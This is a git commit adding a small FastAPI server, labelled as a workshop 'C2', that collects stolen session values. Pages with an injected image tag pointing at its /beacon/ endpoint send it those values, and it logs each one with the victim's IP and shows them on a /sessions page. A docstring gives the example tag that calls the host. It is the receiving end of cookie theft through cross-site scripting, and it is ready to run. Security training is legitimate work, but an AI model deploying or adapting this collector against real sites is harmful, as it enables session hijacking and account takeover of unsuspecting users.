initial commit of something that hopefully works

This commit is contained in:
Stefan Kempinger 2025-11-05 15:38:34 +01:00
commit 3ea31027f1
5 changed files with 348 additions and 0 deletions

111
main.py Normal file
View file

@ -0,0 +1,111 @@
from fastapi import FastAPI, Request, Response
from fastapi.responses import HTMLResponse
import threading
from datetime import datetime
import base64
import uvicorn
from typing import List, Dict
app = FastAPI(title="Tiny C2 (Workshop)")
# In-memory store of observed session values.
# Each entry is a dict: { "value": str, "ip": str, "ts": isoformat }
_sessions: List[Dict[str, str]] = []
_lock = threading.Lock()
# A 1x1 transparent PNG (base64) used as a static beacon image.
_1x1_png_b64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z/C/HgAGgwJ/lK3Q6wAAAABJRU5ErkJggg=="
_IMAGE_BYTES = base64.b64decode(_1x1_png_b64)
def _record_session(value: str, ip: str) -> None:
"""Record a session value with client IP and timestamp (UTC ISO)."""
entry = {"value": value, "ip": ip, "ts": datetime.utcnow().isoformat() + "Z"}
with _lock:
_sessions.append(entry)
@app.get("/beacon/{session}", response_class=Response)
async def beacon(session: str, request: Request):
"""
Image beacon endpoint that accepts the session value as part of the URL path.
Example:
<img src="https://example.com/beacon/SESSION_VALUE" />
The server records the SESSION_VALUE (URL-decoded by FastAPI), the client's IP
and the UTC timestamp, then returns a 1x1 PNG image. Caching is disabled to
encourage repeated requests to be observed.
"""
client_ip = request.client.host if request.client else "unknown"
# session is provided by the URL path; FastAPI will have decoded percent-encoding
if session:
_record_session(session, client_ip)
headers = {
"Cache-Control": "no-cache, no-store, must-revalidate",
"Pragma": "no-cache",
"Expires": "0",
}
return Response(content=_IMAGE_BYTES, media_type="image/png", headers=headers)
@app.get("/sessions", response_class=HTMLResponse)
async def sessions_list():
"""
Displays all received session values in a simple HTML page.
The page lists the session string, observed client IP, and timestamp.
"""
with _lock:
snapshot = list(_sessions)
html_lines = [
"<!doctype html>",
"<html><head><meta charset='utf-8'><title>Observed Sessions</title></head><body>",
"<h1>Observed Sessions</h1>",
f"<p>Total: {len(snapshot)}</p>",
]
if not snapshot:
html_lines.append("<p><em>No sessions observed yet.</em></p>")
else:
html_lines.append(
"<table border='1' cellpadding='6' cellspacing='0'><thead><tr><th>#</th><th>Session</th><th>Client IP</th><th>Timestamp (UTC)</th></tr></thead><tbody>"
)
for i, e in enumerate(snapshot, 1):
# Basic HTML escaping and truncation to avoid huge rows and XSS.
raw_value = str(e.get("value", ""))
safe_value = (
raw_value[:200]
.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
)
safe_ip = str(e.get("ip", "")).replace("&", "&amp;")
ts = str(e.get("ts", ""))
html_lines.append(
f"<tr><td>{i}</td><td><code>{safe_value}</code></td><td>{safe_ip}</td><td>{ts}</td></tr>"
)
html_lines.append("</tbody></table>")
html_lines.append("</body></html>")
return HTMLResponse(content="\n".join(html_lines), status_code=200)
@app.get("/", response_class=HTMLResponse)
async def root():
html = (
"<!doctype html>"
"<html><head><meta charset='utf-8'><title>Small C2 Workshop Server</title></head><body>"
"<h1>Workshop C2 server</h1>"
"<p>Use <code>/beacon/&lt;SESSION&gt;</code> as the image URL for a page that wants to report a session value.</p>"
'<p>View recorded values at <a href="/sessions">/sessions</a>.</p>'
"</body></html>"
)
return HTMLResponse(content=html)
if __name__ == "__main__":
# Run with: python main.py
uvicorn.run("main:app", host="0.0.0.0", port=8000, log_level="info")